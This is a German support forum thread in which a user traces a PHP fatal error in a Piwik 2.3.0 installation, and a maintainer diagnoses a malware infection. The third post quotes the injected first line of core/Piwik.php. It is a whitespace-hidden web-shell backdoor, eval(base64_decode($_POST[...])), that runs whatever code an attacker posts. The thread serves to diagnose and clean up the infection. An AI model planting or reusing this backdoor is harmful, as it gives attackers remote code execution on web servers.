Fatal Error: Namespace declaration statement (...)


#1

Hallo zusammen,

habe seit heute (bzw. heute zuerst bemerkt) folgende Meldung in rot auf weiß, wenn ich die Piwik-Page besuchen will:

[quote=“Fatal error: Namespace declaration statement has to be the very first statement in the script in [website]/piwik/core/Piwik.php on line 9”]
[/quote]

Habe in der Zwischenzeit nichts am Piwik-Datensatz gemacht (ausschließlich an der Website selbst). Ich meine auch, dass ich mich nach dem letzten Update noch problemlos einloggen konnte. Browser-Cache und piwik/tmp habe ich bereits gelöscht, hat nichts geholfen.

Gab es das Problem schon mal (habe es mit der Suche nicht gefunden)?

Danke schonmal.


(Stefan Giehl) #2

Kannst du bitte mal in diese Datei reinschaun?
Möglicherweise ist die Datei kaputt. Die ersten neun Zeilen müssen so ausehen:


<?php
/**
 * Piwik - free/libre analytics platform
 *
 * @link http://piwik.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 *
 */
namespace Piwik;


#3

Die Datei sah wie folgt aus:


<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['na2f31b']));?><?php
/**
 * Piwik - Open source web analytics
 *
 * @link http://piwik.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 *
 */
namespace Piwik;

Nachdem ich die ersten Zeilen der Datei wie von dir geschrieben geändert habe, scheint sich der Fehler verlagert zu haben. Jetzt ist die Meldung:

[quote=“Fatal error: Namespace declaration statement has to be the very first statement in the script in [website]/piwik/core/IP.php on line 10”]

[/quote]

Hier schauen die ersten Zeilen wieder wie in der piwik.php aus. Das scheint dann wohl der Fehler zu sein?


(Stefan Giehl) #4

Scheint so als wäre dein Piwik mit Schadcode infiziert. Welche Version genau setzt du aktuelle ein?
Das beste wird sein wenn du die Dateien komplett neu hochlädst.
Schwer zu sagen wo überall noch Schadcode enthalten ist.
Woher der Schadcode kommt kann ich leider nicht sagen. Ggf ist es auch nicht verkehrt mal die Server-Passwörter zu ändern.


#5

Welche Version ich habe, kann ich gar nicht sagen, da ich ja nicht reinkomme. Kann ich das in einer der Dateien auslesen?

Mir fällt gerade doch noch ein, dass ich zuletzt das CustomOptOut-Plugin installiert habe. Kann es vielleicht damit zusammenhängen?

Werde dann mal alle Dateien löschen und alles neu hochladen/installieren…


(Stefan Giehl) #6

Die Version steht in der Datei core/Version.php


#7

Dann habe ich Version 2.3.0